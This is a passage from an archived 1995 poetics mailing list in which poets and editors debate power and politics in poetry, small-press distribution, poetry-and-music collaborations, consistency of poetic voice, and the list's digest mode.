poetry may not have anything to do with Politics (though that's debatable), but it sure as hell has it's _own_ politics, which is what this thread has been all about. The fact that the thread has run as long as it has is a sign that there are indeed politics right here on this mailing list.

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232. **Sheila Murphy**
Re: Poetry/Jazz, Hemphill, etc.
Wed 12 Apr 1995

I share Charles Alexander's interest in hearing about other people's collaborations involving words and music. Just this past week, I collaborated in a performance of my poems performed as a sonata (that is, equal voicing, rather than accompanied) with Megha Morganfield, gifted performer on Celtic harp. We've now been working together for two years, following a program we gave at a gallery here in Phoenix. We did a cassette tape called "The Weight and Feel of Harps" a while back, and it's been well received. (Can be ordered through me if anyone is interested)

The tone matching we magically discovered between the instrument and my speaking voice has proved a catalyst for making certain types of work together. We're considering at present a collaborative composition relating to particular types of landscape within Arizona.. In performance, the harp sound (plucky rather than swishing, so more lutelike) pacifies and stimulates the senses in an audience, so people seem better prepared to receive the words. It's a lovely phenomenon that I'd prefer not to consider negatively, as I'm grateful for any entry point at all. It's been exciting for me, rewarding on that front.

Most of all, the seemingly infinite capacity for variation that Megha possesses (as a trained flutist, I know what to look for, and I LOVE what she does) helps me want to do more in the written work. It brings out a particular attunement to the geography here. (Mostly a point of personal association)

I consider collaboration of any kind one of the most enriching experiences of my life. This, of course, includes the constant collaborating that I do with John Bennett through the mails (and I'm not even close to the only one--many on this list work with him, too). I know I've referenced this before.

Thanks for bringing this up, Charles.

SEM

↑ Index

233. Sheila Murphy
Re: Knowledge & empowerment (...
Wed 12 Apr 1995

Gary, you put this really well in your post about empowerment. I recognize that in the relatively more limited sphere involving publication of innovative work, the struggles and the processes are blurred. You cut through this and get to the heart of the matter. Some of the points you make are easier to see in the large press world, which is not to say we're uninfected within this one (by the limitations that hurt everyone). For some time, I've been struck by what's in airport bookshops. People who don't take pains to go looking for good books (probably most people) have access to this tiny little row of tiny-minded little books that seem to me barely recreational, and miles from good (the gospel according to SEM). So they buy what's there (if they buy a book at all) and in many cases, I am told, don't really read them, just carry them around, whatever. Whatever they do with the books is really not my concern. But the limitations, the measley little rows we see and see and see in airports (I tend to buy a legal pad if I find myself without a stash of stuff to read), is a self-perpetuating phenomenon.

And it all comes from tacit consent. Not speaking up ultimately yields this kind of limitation.

I raise this common sense, less intellectually-oriented example if only to underscore the direction that this process takes, using one scabby little example. For the record.

SEM

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234. John Geraets
more Ps and a C
Wed 12 Apr 1995

The exchanges on (of?) poetry & power are really interesting.

I'd be very interested to see a concurrent discussion get going on the compensations involved in our practice.

For such a politically disempowered group to be so beset with issues of power, there have got to be pretty decent compensations, the 'pleasures'.

Is this vehicle designed to please?

John Geraets
[redacted]

(actually, I'm noticing the letter 'P' may be the problem, power, poetry, public, personal, pleasure - and doubtless - pain.)

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235. Tony Green
Re: Knowledge & empowerment (...
Wed 12 Apr 1995

Dear Sheila, I don't know that it's all always bad at airports, I once bought a big fat novel at Auckland airport,lasted me all the way to London, Eco: Foucault's Pendulum. Some you win, some you lose.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,

Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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236. Tony Green
Re: sexual harassment + festering pastiche
Wed 12 Apr 1995

Dear Cris and Ira, It's not worth the carriage, is it? But it is interesting that it can carry the prestige still in Britain. I don't know if this particular phenomenon happens elsewhere. I relish the recording of what is not the true scene it believes it is. However much it happens it is not something to be angry about. I'm sure you're right, Cris, walk away from it, Ira, but quickly. It's a bit like the Royal Academy, never too far from fox-hunting in the past (and the present?), the establishment's version of culture.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

237. Wystan Curnow
Re: Knowledge & empowerment (...
Wed 12 Apr 1995

DEAR SHEILA, IT WAS AT LA GUARDIA I BOUGHT A BIOGRAPHY OF GERTRUDE STEIN AND READ IT ACROSS THE ATLANTIC, ONE OF MY BEST FLIGHTS. And there was a news item on the BBC Business News which comes through here in a late slot re-the privatising of some US airports, British Airways has one with a Waterstone's in it I saw. Wystan

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238. Michael Boughn

Re: power etc.

Wed 12 Apr 1995

Power circulates like shit happens. (We take it and turn it into poems.) How much do you want? What are you willing to pay for it? Tom Mandel is right on about our condition, as is George Bowering on who Jack Spicer wrote for. What more do you want? What are you willing to pay for it?

> At least we both know how shitty the world is. You wearing a
> beard as a mask to disguise it. I wearing my tired smile. I
> don't see how you do it. One hundred thousand university
> students marching with you. Toward
> A necessity which is not love but is a name.
> King of the May. A title not chosen for dancing. The police
> Civil but obstinate. If they'd attacked
> The kind of love (not sex but love), you gave the one hundred
> thousand students, I'd have been very glad. And loved the
> policemen. Why
> Fight the combine of your heart and my heart or anybody's
> heart. People are starving.
>
> --Jack Spicer, from 10 Poems for Downbeat

(to return us to where the power discussion began . . .)

Mike

[redacted]

↑ Index

239. Joe Amato

Re: Colleen Lookingbill on "consent of..."

Wed 12 Apr 1995

---

tom, i happily allow for your gloss on "boredom," must admit i didn't read it the way you've since spelled it out... and this latter way is helpful in pulling out yet another aspect of the (currently fracturing) "power" monolith...

best,

joe

↑ Index

240. **Joe Amato**
Re: my correspondence with Spencer, and the power of poets
Wed 12 Apr 1995

---

i'm curious what others have to say about tom's "shifts of position"--- how such shifts are often not well-received (within any artistic community)... how poets who have found their 'voice' are presumed to continue to articulate with same... how not only a shift from work to work, but *within* a given work, is generally viewed with some suspicion... it seems to me this is the case both within more avant garde circles and within the more orthodox poetry venues...

personally, i've never been able to locate my aesthetic quite so univocally... but in any case, i'm wondering what this bias toward consistency says about poetic practice in general...

joe

↑ Index

241. **kat**
Re: power etc.
Wed 12 Apr 1995

Thanks for the Spice of Spicer's commentary on what, in retrospect even on a day approaching May, seems Ginsberg's silly identity politics of flowers and fantasy. Just a note, I took it that the comment about books at airports also had a larger application. If "privatizing" airports, along with all the other things on the Tory lists yields a book on Stein for a transatlantic flight, has the world improved or poetry become (less) political? Problem, or part of it, is that no one can get outside the transnational flow, net, order of capital. It might be that, like the trogs on the bridge in Gibson's novel *Virtual Light* one can engage in the trade of unnoticed beauties and unadopted changes, but Ecco, Stein, and Gibson are surely pocketed in that net. Politics, in any case, happens at various levels and in many places. AND,as Spicer's manifold irony echoes, "People are starving"--

↑ Index

242. **Kenneth Goldsmith**
Small Depressing Nondistribution
Wed 12 Apr 1995

Who???? I live in New York City and there's not one bookstore in this entire town that consistently carries items from the SPD catalog! Access to interesting poetry remains limited to what publishers or friends give/send me. All I ever

hear are bellyaches from East Coast Publishers that they're attics are filling up with cartons of returns that have never seen a store.

So, have fun getting in on SPD's good side...some big deal!

↑ Index

243. Colleen Lookingbill
Re: Standing
Wed 12 Apr 1995

Dear Herb, Good reply to Ed. - thnks for saying so clearly what I think may be an understatement, "The fact that the thread has run as long as it has is a sign that there are indeed politics right here on this mailing list." Colleen

↑ Index

244. Ryan Knighton
Re: power etc.& Spicer
Wed 12 Apr 1995

Michael Boughn writes:
>
> Power circulates like shit happens. (We take it and turn it into
> poems.) How much do you want? What are you willing to pay for it? Tom
> Mandel is right on about our condition, as is George Bowering on who
> Jack Spicer wrote for. What more do you want? What are you willing to
> pay for it?
>

Yay! we're on Spicer again! First, kudos to Edward Foster for his monograph on Spicer and Ron Silliman for both the New Sentence article and his piece in Perelman's *Writing/Talks*.

If we are going to talk about power and analogize it to shit,
Spicer had much to say on the subject:

For you I would build a whole new universe around myself.
This isn't shit it is poetry. Shit
Enters into it only as an image.
-from *Language*

There are only power/ful images.

Ryan

↑ Index

245. Mark Wallace
Situation #9
Wed 12 Apr 1995

Situation #9 features the work of Rod Smith, Emily Miller, Richard Roundy, John Perlman, W.B. Keckler, Mary Winters, Bruce Holsapple, and Dennis Barone.

Subscriptions are $8 for four issues, or a single issue for $2. Write to: Mark Wallace, Situation, 10402 Ewell Ave., Kensington, MD 20895.

Thanks to all of you out there who have recently subscribed or re-subscribed for your help in keeping my magazine afloat!

mark wallace

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246. Stephen Galen Cope
Re: Poetry/Jazz
Wed 12 Apr 1995

The Steve Benson/ Splatter Trio piece that
Herb refers to is included on We Magazine XV --
a 1992 cassette that features readings by Mackey,
Alarcon, Everson, Hernandez-Cruz, Ginsberg, Waldman,
Clausen, Yates, Trudy Morse w/ Cecil Taylor, and
many others (including much collaborative work...

Available via WE PRESS
POBOX 1503
SANTA CRUZ, CA 95061

-Stephen Cope

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247. Gary Sullivan
Re: Small Depressing Nondistribution
Wed 12 Apr 1995

Dear Kenneth:

In response to your post about SPD, I think it would be helpful for those without SPD access to note that, if Detour wasn't carried by them, we wouldn't have been able to afford to publish Johanna Drucker's _Dark Decade_. 1/2 the money for that book we made by typesetting the soon-to-appear next issue of _Central Park_; 1/4th of the money we made pre-selling books through the mail to

Johanna's fans (mostly people interested in "book art" items); and 1/4th of the money was from sales of previous of our books carried by SPD. As neither Marta nor I work full-time, we can't pay for the things ourselves, and do rely on sales to be able to continue publishing. You're right -- we too have boxes of books here in our closets -- but equally true is that our own access to SPD has allowed us to continue publishing. They're not Consortium (who agressively sell many, many books for small/literary publishers), but they do keep some of us in business. Our press, anyway.

Yours,

Gary

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248. Gary Sullivan
Re: Charles Alexander's post
Wed 12 Apr 1995

Dear Charles:

I'm glad you've been lobbying for everyone; you weren't here prior to working at the MCBA, but you should know that before you started work there, it was a very different, much more closed, organization. My friend Michael Kronebusch said that the event you curated (I think it was "The Boundless Book") was the first time that bookmakers from out of the upper midwest region had been invited there, would have been unheard of prior to your getting there. So, many thanks from all of us here.

Feel free Charles (or anyone) to forward that post to Gigi. I deleted it to keep my e-mail file more manageable.

As far as the NEA cutbacks hurting larger organizations more, I understand your logic. It's like this cartoon I just saw: A cat in a suit standing in front of a desk, behind which sits a dog in a suit. The dog says to the cat: "I'm not worried about you, Henley. You'll land on your feet."

More to say about & around that, mostly things I want to post from Jack Smith's book, _Historical Treasures_. More about that (& Jack Smith) later this evening or tomorrow.

Yours,

Gary

↑ Index

249. **Tony Green**
Re: my correspondence with Spencer, and the power of poets
Wed 12 Apr 1995

"What about the value of struggle, anybody have a yen for
that? I do decidedly." Tom Mandel writes and. we were treated as
if we possessed some power and territory, and folks wanted
a peace of it."
Well said.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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250. **Edward Foster**
Re: Knowledge & empowerment (long)
Wed 12 Apr 1995

---

loss, you're right, but words here vanish usually; we need to rethink cyberspaceso that a "magazine" here would still be readable/read years hence the way we can/do still read old issues of c, caterpillar, etc.

↑ Index

251. **Edward Foster**
Re: Standing
Wed 12 Apr 1995

---

no, poetry does not have politics, tho it may have political "subjects" and be used politically. snore,

↑ Index

252. **Kevin Killian**
Jack Smith
Wed 12 Apr 1995

Dear Gary, and don't forget Jack Smith saying that the greatest two lines in American film were spoken by Maria Montez in "Cobra Woman"-

"Geef me the cobarah chewel! Geef me the cobarah chewel!"

How right he was!

-DB & KK

↑ Index

253. Loss Glazier
Re: Knowledge & empowerment / electronic
Wed 12 Apr 1995

> *loss, you're right, but words here vanish usually; we need to rethink cyberspaceso that a "magazine" here would still be readable/read years hence the way we can/do still read old issues of c, caterpillar, etc.*

Edward, But I would contend that these "texts" _will_ be able to be read years hence. Electronic poetry magazines and books are archived at the Electronic Poetry Center; the transactions of this list are also archived (and, indeed, can also be keyword searched). So that the material is _there_. In fact, one might argue that it will be _more_ possible to read an early issue of RIF/T or diu or TREE years hence than it is for many people unable to track down c or caterpillar...

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254. Bill Luoma
Re: Love me tenure
Wed 12 Apr 1995

How did "perfect-bound book" get defined as the pinnacle of success?

↑ Index

255. James Sherry
What Is Digest?
Wed 12 Apr 1995

I recently changed my relationship to poetics server by subscribing in Digest mode because I couldn't keep up with all the messages. And it is a shock to me how much my feelings about the listserv have changed:

I am no longer following the arguments. I often delete the entire message. When I read the message, the individual messages don't stand out as they used to. The sense of community seems to have been fostered by the volume in individual messages. I still get from one to five personal messages a day and value them immensely, but the listserv seems not to be a community in "Digest mode". It is the other who is not me.

Maybe I am alone in this, but I wonder if anyone else has similar or different responses to the new mode. Can "Digest" really digest the material and does that mean it re-morphs the material into an indistinguishable mass of components?

James

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256. Loss Glazier
Re: What Is Digest?
Wed 12 Apr 1995

James,

The "digest" mode repackages the list events in an arbitrary "order." I think your sense that there is less vitality is a fair call. This is a machine sense of increment, 24 hours or whatever it is, when from a human point of view some exchanges expire within hours (some of the volleys, perhaps) or luxuriate across days sometimes naturally spreading into related and maybe even more interesting stretches of conversation (e.g., jazz and poetry).

"Digest," coming from any usual sense of the word, is not accurate, of course, because there is no summation or other thoughtful order made; only a lump sum of the day's events.

The other side is to be somewhat chained to the sometimes rapid-fire onslaught of messages that can accumulate like snow (metaphor at least applies to certain of our climates). I also enjoy, however, the sense of _pace_. E.g., sometimes around midnight the messages come in one after another; at other times there are long stretches where everyone must be reading or have attention wandering elsewhere.

So neither option is ideal. It is the immediacy of postings that I find most interesting, though, so I opt for the message by message version of the exchange, as I have responded to this instantly as it came across my screen...

Loss

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257. Lisa Samuels
poetic consistency
Wed 12 Apr 1995

dear joe amato:

is it a combination of past poetic practices & human nature that prompts people to want & expect consistency in a poet's voice? not to say The Poetry Of Ages

Past didn't have opportunities for self-difference, but certainly the best-known poets of the past maintained distinctive voices (as obvious as Dickinson, Whitman, eg). & human nature: we want to know what to expect; & we think that those who are touched by the fire will know always how to speak, so that if they change their manner they must not be sure that what they did before was 'right', & if they don't know how to decide to speak then how can we know how to decide to listen? self-difference is interesting, but it is not comfortable, & it is not the language of certainty.

i do not want to write different poems in the same ways, but i understand that readers -- myself reading others, too -- have a hard time with the anti-expected in the historically single-voiced realm of poetry.

but, like you, i write different poems in different ways,
regardless.

lisa samuels

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258. Steven Howard Shoemaker
ENSLIN AND TAGGART
Wed 12 Apr 1995

I've set up a poetry reading for Ted Enslin and John Taggart to take place here in Charlottesville on Monday April 17th at 8 p.m. (in Minor Hall, room 125, on the grounds of the University of Virginia). I know there are several people on the list who are interested in attending; my apologies to the rest of you for the extra scrolling...

If anyone needs directions or further details you can contact me at [redacted] or [redacted]. I imagine it wld be easiest to give directions over the phone.

best,
steve shoemaker

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259. cris cheek
Re: sexual harassment
Wed 12 Apr 1995

Ira, Cris has given me this oppurtunity to reply to your--sadly, quite accurate--piece about the recent "poetry party" in London. Your description of the evening as "a meeting of the two rival camps in avant-garde poetry" is every bit as distasteful as the--yes, pathetic--parodies of Language poetry which were read by one of the Cambridge poets (Peter Riley, pop pickers!). Perhaps a bit of

background information may be useful here: the evening was a party (with readings) to raise money for the Cambridge Conference of Contemporary Poetry, an annual event which has received less Arts Council funding this year. (To their credit, the organisers do put on people from outside either the London or Cambridge "schools"--Barbara Guest, Ann Portugal, Steve Benson, for example.) You correctly state that there were ten readers at the party. You also correctly state that eight of these readers were men, and two of them women. What you disingenuously neglect to mention is that you were one of the eight men (and you also fail to categorise your work as being either second-hand Zukofsky or second-hand Prynne, the two options which seem to be available depending on one's choice of geographical affiliation). I feel that the fact that you chose to travel to London (poems safely in your bag) and participate in the reading--with the rest of "us"--denies you access to the morally superior tone you adopt in your role as correspondent and critic of the UK "scene", such as it is. But anyway, this is by the by. More important than the above is your correct identification of the "stifling dominant maleness" that pervades readings in London. And, yes, you're right, there was no attempt made to engage or involve the small number of women--yes, mostly friends of readers, including me--who'd come. Most of my friends have stopped coming to readings now, as they're not made welcome--it's amazing to see just how many heads turn when someone "new" walks into a reading--a mistake, surely? what are THEY doing here? So, OK. Let's pretend that one of the regulars does make an effort to engage one of the neophytes in conversation. Here's how it might go: "Do you write poetry?" "No." "Oh." If the neophyte is lucky, "conversation" stops here, but here's a possible reply, once the neophyte's non-poetry-writer status has been confirmed: "Actually, no one here really likes my work..." Sometimes--although this happens rarely--a neutral, but serious, ground for conversation is discovered. This is usually jazz. Although London poetry, in particular, is an almost exclusively male domain, it is also closed off to interference, to noise from outside, on a scale that extends far beyond issues of gender. (So it seems to me, as a London resident for three years.) There are also many instances of hostility toward poetry from the "outside"--especially the U.S. (I know that you know this, Ira, I just mention it as a general point.) (Oh, last year I heard an American poet--female--preface a poem with "This one's for all you pregnant mothers out there." The audience was exclusively male.) Finally, on the subject of Friday's party, I'd just like to say that there was a reading, it was in London, I was asked to read at it, and I read. If this identifies me as a member of the "London school" then I am deeply saddened. Surely one can live in London because there are lots of cinemas, restaurants, etc., and not because one finds Prynne's work "ugly" and "cluttered" (just two of the criticisms I've heard since living here). (Incidentally, after more than two years of living in London, the first complimentary words about Prynne I heard came from an

American on holiday, Peter Gizzi!) I'm appealing to you, Ira, because, apart from anything else, we share a common interest in poets who live beyond these shores. The shallow typifications and vapid generalisations in your piece can only make matters worse, and, as you know, they're quite bad enough as it is.

Miles Champion

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260. Herb Levy

Hello & more new music/new writing

Wed 12 Apr 1995

When I got home tonight & read the mail I found that my "hello" had apparently gotten lost in the aether. Sorry if I seemed to be barging in with the other day's postings.

I'm probably an oddity on the list. I've been a reader of new poetry in whatever you want to call the area this list is about forever, but I'm not a poet or an academic. I'm that general reader that likes to read new work. I probably should have written "one of those general readers," 'cause we are out here, you know.

Anyway, I'm also an oddity in being from Seattle, the only person I've noticed from the Pacific Northwest (though I've obviously noted several people posting from Canada's "Southwest").

I've spent a lot of the past twenty years presenting new music concerts, doing radio, and generally working in the non-profit arts world.

And I'll probably remember more examples of new music/new writing collaborations every time I post. Today I thought of the ongoing, though often low-key, collaboration between composer Alvin Curran and Clark Coolidge, who have known each other since they were kids in Rhode Island. And there are a couple of song settings of Charles Olson texts by Pauline Oliveros that I've seen listed, but I've never heard.

Oh yeah, that Diane Ward collaboration was with David Weinstein, not Nicolas Collins.

Now I'll go read that long list of mail.

- Herb Levy

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261. Tony Green
Re: Standing
Thu 13 Apr 1995

"no poetry does not have politics, tho it may have political "subjects" and be u sed politically. snore, " says Ed Foster. I'm just on my way home for Easter and its Passover too and I wonder what happens if the terms are moved a little. The "politics" question is pervasive and there are answers from W.C.Williams, Robert Creeley and Alan Davies that come to my mind that recognise that poetry is more like what Ed has said. But what if the question were "religion"? my answer would be like Ed's answer to the "politics" question. "no poetry does not have religion, etc...." It would once have been a more important question for the arts (including poetry) ---- "religion"?

No e-mail, no teaching, until Wednesday next week, just a bunch of third year B.A. essays on Poussin to keep me happy....Cheers.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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262. Sheila Murphy
On Books
Thu 13 Apr 1995

Dear Tony, Thanks! I'll keep giving the airport shops a chance. Miracles may happen!

SEM

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263. Colleen Lookingbill
Re: Love me tenure
Thu 13 Apr 1995

Al sed:
"Our analyses should be directed toward specific descriptions of the forms of power we exercise and experience, and how
they can be altered." Yes - this is the discussion we should be having - and

I thought in part the discussion we were having.
Colleen

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264. **Colleen Lookingbill**
Re: Colleen Lookingbill on "consent of..."
Thu 13 Apr 1995

Tom sed: "Truly, I hope this subject will go away, as it is boring beyond bearing. A measure of worthwhile subject surely must be the difference which may be made by one response or another. Why, in that case, does this list produce the opposite when it is composed of intelligent and passionate people committed to the baseline language art?" which I felt was pretty condemning talk - and then Aldon said, "as Tom Mandel suggests, put the subject to bed." Perhaps supress was a bad word to choose, but what seemed to me was being suggested - glad to hear that is not the case!

Appreciate your sympathy to the statement "As politics (which involves the communication of only power relationships between people) holds more sway, humanity is more and more buried by reductive modes of relating, with it buried, politics becomes more and more mean-spirited, if indeed spirit of any kind can be said to be involved." given your reservation about the terms. Don't agree that the discussion on the list involving power/politics/poetry has been mean spirited - see no evidence of this since I have been reading/writing. - Colleen

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265. **Gary Sullivan**
Jack Smith
Thu 13 Apr 1995

The following excerpts are from _Historical Treasures_, a collection of essays and pieces by Jack Smith, published by Hanuman in 1990, a year after the performance-artist/filmmaker died of AIDS. Never having seen Smith perform, nor his movie _Flaming Creatures_, I can't really say anything about his creative work (though a friend recently gave me some wonderful second-hand accounts of it); but, after reading my daily mail from poeticslist, I found this book in a store, and was surprised by the amount of overlay. Smith seems to have made very few compromises. His work -- which he ultimately considered to be "baroque" -- took, by his own account, enormous effort to create; though, he didn't take equal pains to preserve it. From J. Hoberman's Introduction: "Once [Smith] withdrew _Flaming Creatures_ from Anthology Film Archives, his

art was untainted by any institutional endorsement -- an astonishing fact in this cruddy age ..."

From Smith's essay, "Remarks on Art and the Theater":

"It's the only American response to real art: they become criminal. They don't think about supporting it. Instead they'll give you a hard time that they won't give to somebody making schlock. You know, they just threw money at Andy Warhol because he conformed exactly to what Americans want. You see. I don't think any of you realize sufficiently what you're up against. These people, the foundations, the curators, they're not there to help you; they are there to feed you into the commercial industry. That's what's being pushed in the schools: Vampirism. Art is not being taught in the schools, how to make it. The way it's being taught, some really powerful personage or work with a lot of essence is being dangled in front of them. Then they're fertilized by this, the myth of being really fertilized. And then they can make art. This is fraudulent. It saves them a lot of time by not teaching what ought to be going on. They're not showing you, molecule by molecule, how to make art. They're substituting the system by exposing them to some artist, and the more soaked in tragedy and failure that person is whose art they're dangling in front of you, the better, because then it increases the thrill of vampirism. ... And they still can't make art, and they don't want to face the fact they're going to have to become an apprentice. They paid a lot of money not to know that. ... "About a year and a half ago I just suddenly realized I had all this work to squeeze out, and the theater wasn't going to pay me. I said to them: 'You have to pay me a good amount of money. I'm not going to stand on this stage in front of all those healthy yuppies, all of them with teeth, and I have to entertain them, and I'm the only one in the room without teeth.' I said, 'You've got to pay me two thousand dollars.' And that is not much. ... He couldn't do it because he had this image of the crazy baby poopoo who lays the golden egg, and you don't have to pay them and you can save a nickel on them. "In this country we still don't know what we're up against. There's a profound hatred of art, and that's where all these troubles are coming from. Everyone believes they adore art, that they want to support it, throwing money at it and so forth. But if it is real art they cannot help it; it must get mutilated. ... "European art teachers never came here. Why on earth should they? They'd have to be insane to leave a cultural paradise and come here. European artists did work that Americans were very pleased to think was American art. It wasn't. It was one-hundred percent European. Americans never made art. The aesthetic part of something is ultimately the most functional part. Manufacturing and making art are two opposite ways of thinking. They don't agree at any point. Have you ever driven through the German countryside? It's art. There are rows of crops in stripes, winding gently around the curves of the hills. In stripes! You've got to have an

aesthetic sense, which the Germans are usually not credited for. They're making art when they don't know it, because they want strength: they want something that's going to last. That's art. Farming is very close to making art. It's much closer than a lot of other things. We don't have that. We want to get rid of it, stamp it out, rape it. Just like we have raped this country. You can't indulge in behavior like that and say it isn't hatred. And I've lived through it, too. I was knocking myself out to make this stuff. And I always assumed that people would see this and have pity on me and give me at least the support of not stealing from me. They didn't."

* * *

I feel bad excerpting -- like taking fertile soil from a perfectly beautiful patch of earth & using it to pot houseplants -- but thought the above might add to, expand & expose the underbellies of some of the posts I've been reading (especially Tom Mandel's recent one on "the general condition," much of which I agreed with) as well as posting.

Yours,

Gary

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266. Mn Center For Book Arts

Re: Love me tenure

Thu 13 Apr 1995

On Wed, 12 Apr 1995, Bill Luoma wrote:

> How did "perfect-bound book" get defined as the pinnacle of success?
>

Perfect bound, the market commodity, easily digestible, commonplace. Oh, the history of the book is groaning. A thousand years ago it was carvings on stone or clay, six or seven hundred years ago it was illuminations and writing by hand on various surfaces, including vellum and parchment and papyrus, four hundred years ago it was metal impressing ink on paper (which lasted quite some time, with various changes in structure & binding), and even 25 years ago the sewn, case-bound book was the pinnacle. Now it's perfect binding & imprinted bar code. Before long it will be digitalized, retrievable, electronic information. And someone will probably find a way to bar code that as well.

charles alexander

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267. Gary Sullivan
Re: Jack Smith
Thu 13 Apr 1995

Dear Kevin & Dodie:

Yes! & that essay -- "The Perfect Filmic Appositeness of Maria Montez" -- is truly, truly amazing.

Hey! Did either of you ever see any of Jack Smith's performances? I only recently found out about him -- my friend Michael Kronebusch was giving me these riveting second-hand accounts -- would love to hear (or read) something first-hand ...

Yours,

Gary

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268. Spencer Selby
Re: true friendship
Thu 13 Apr 1995

Dear Tom, It's nice to hear that we're still friends. If "opposition is true friendship," then I guess we are now being true friends. Excuse me, however, if I question yr explanation for referring to me as Spencer Selby. I'm pretty sure that I'm the only Spencer on here, certainly the only one that's doing any talking. And I'm pretty sure that everyone knows that (if they are listening at all), including you. If you say a subject is "boring almost beyond bearing," then that means you want it to go away, and yr Sunday post was as much an attempt to suppress further discussion on this subject as you, who do not have control over what gets posted on this list, could possibly have mounted. So my question is, do you really believe that people can see yr distinction between wishing so vocally and aggressively that a subject will go away and an impulse to suppress it? I don't think "nominalist" is a fair or accurate label because it implies that standing is the only goal and source of this negative power. Standing may be a measure of how much one benefits but it is not necessarily a measure of how much one encourages the influence of this power on the scene. One may benefit a lot from "playing the power game" without ever becoming a name, or one may encourage the power influence tremendously without benefitting that much. Perhaps more important, yr nominalist label does not hint at how far-ranging the negative effects of the power game are. These effects run the gamut from pressures on writers to behave and write in certain ways to misuses of theoretical discourse to confusion of poetic value with a whole range of factors that have little or

nothing to do with such value. Power may not be the sole cause or explanation of these and other problems, but it definitely helps to keep them all going, it definitely influences writers in ways that make it very difficult (increasingly difficult) for them to cut through the shit. To say that the issue for Gary or Colleen or me is "which poet has power and which does not" is completely wrong. This is not the big issue for any of us. If there was a way to talk about the power problem without ever naming names, I would do it. (I try to avoid naming names as much as possible. I think if you went back and looked at all my posts on the subject you would see that I almost never bring up names myself.) But that's not possible in the face of so much denial that is supposedly backed up by people's personal experiences, stories, anecdotes, lots of names and specifics. I couldn't agree more that "intentionality is of the essence of mind." But this is not a reason to ignore specific intentionalities, it is a reason to acknowledge and interrogate them--especially when they have such negative effects, effects that subvert the best that we are and try to be. If by saying the need for power is a condition rather than a problem, you mean that our condition here today (or in the past, for that matter) is inevitable, then I must strongly disagree. Our condition is not inevitable, which is why we can and must struggle to improve it. The need for power may never go away, but that's no reason not to fight the ways it specifically manifests itself in our lives. Talking about power is not the only way to fight its negative effects. I never said it was. On the contrary, I have always supported the scene in a variety of ways, outside of doing and circulating my own work. In fact, I think I've done more in these terms than many of the people who like to bring this up as an argument against my belief that power should be more openly discussed. Lastly, another variation on yr own words: the problem of young poets today is not that they can't publish their own work or find others to bring out their work in obscure, inexpensively produced editions or mags, the problem is that of a literary world increasingly organized to erase this oppositional witness. An important part of this organization is the built-in denial which comes roaring out with a vengeance if anyone tries to point it out or talk about it. Yrs, Spencer

On Tue, 11 Apr 1995, Tom Mandel wrote:

> *Well, by referring to you as Spencer Selby in my post, Spencer, I didn't mean to turn my back on our relationship but rather to indicate exactly with whom I'd had the correspondence. I greatly enjoy my friendship with you. Your intransigence (what you refer to as my inability to get you to agree with me) is one of the attractions of the friendship, not a negative at all. "Opposition is true friendship" (for $50 and a chance at the weekend cruise, identify that quotation).*

I think my calling your position nominalist is fair as well; again I don't mean to reduce it in any way. Nor, really, do I think I said that you are wrong. It's hard to crack the crowd as a newcomer in poetry as in most other such little worlds. Further, it's hard to have shifts in your position accepted or appreciated as you go along in your career - a related matter which you don't treat. Many are those who, comfortable with the poet of _EncY_ - my first book - are a good deal less comfortable with the one who wrote _Letters of the Law_ my most recent. A personal example but hardly an exclusive one. The world trades on recognizability, it's not surprising.

When I say that the authority of writing as an activity is what matters, I sure don't mean it's all that matters to editors or even to readers. It's to writers that it's all that ought to matter. In any case, if we understand anything from a century of philosophical analysis whose sole aim sometimes seems to show it, it is that "matters" only parses as "matters to X." Intentionality is of the essence of mind.

Thus, when I say that the issue of power as you raise it bores me, I mean just that. Not at all to make it more difficult to "solve" this "problem," but to recognize that it won't be "solved" because it is not a "problem" but a condition. In a way I like it. I like the agon, and I like knowing that I can turn away from the agon. Often, I find, I am satisified with the difficulty of life. I don't wish for a world in which the minute you wrote something wonderful, huzzahs wd rise from all corners - a universal egalitarian response to new and anonymous brilliance (altho there is no greater pleasure I don't think than to experience the same: the first time I heard Lee Ann Brown's writing or Melanie Nielsen's or Jessica Grim's, for example).

What about the value of struggle, anybody have a yen for that? I do decidedly.

Finally, I well remember the first time I ran a reading series; it was with Ron Silliman, at the Grand Piano in SF in 1977. Immediately, people began bugging us to give them readings, and we did put a lot of people on (two a week for a long time). At the same time, we commanded no authority whatever, who were we? We just had a coffee house space. Anyone else cd have had a coffee house space too, and put on readings. Yet, we were treated as if we possessed some power and territory, and folks wanted a peace of it.

> *The theory of poetic space behind this is that of a closed and finite space with operators in place; that's your theory too, I conclude, Spencer. But I think poetic space is like an extensible puzzle. It exists and has a set of features at its edges, and you hew something new to extend that space while relating to it. At the same time, you create a new space for that space to occupy too. You, for example, started Sink magazine. You will remember that my first advice to you when you showed me issue one, was that you should publish new writers, rather than making a new venue for all of us. I don't think I am convictable on your charges, in other words. It's boring to talk about the problems of breaking in or of making something genuinely new, but not boring to do so, nor boring to call it out when you see it and to publish it.*
>
> *Tom Mandel*

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269. Gary Sullivan
Re: Love me tenure
Thu 13 Apr 1995

On Wed, 12 Apr 1995, Bill Luoma wrote:

> *How did "perfect-bound book" get defined as the pinnacle of success?*

Dear Bill:

On that note: have you done, or could you do, a translation of Catullus #22, and if so, post it?

Your fan,

Gary

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270. Herb Levy
Re: poetic consistency & another take on jazz & poetry
Thu 13 Apr 1995

To Lisa Samuels & Joe Amato -

Consider what a poet's voice might be, though. It doesn't have to be a consistent tone of voice or some kind of standardized characterization. It can be more like, you know, a voice.

This was said much better in a poem by, I think Ntozake Shange, years ago (for which I don't have the reference at hand). Her take was you can _always_ tell Al Green or Marvin Gaye's voices no matter what they are singing about. Charlie Parker or Ornette Coleman always sound like themselves whether they're playing a slow ballad or a fast blues. Amiri Baraka's essay "How You Sound" has some relevance here too.

Don't let the workshop's sense of "poetic voice" take away the range of your own voice.

-Herb Levy

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271. Lisa Samuels

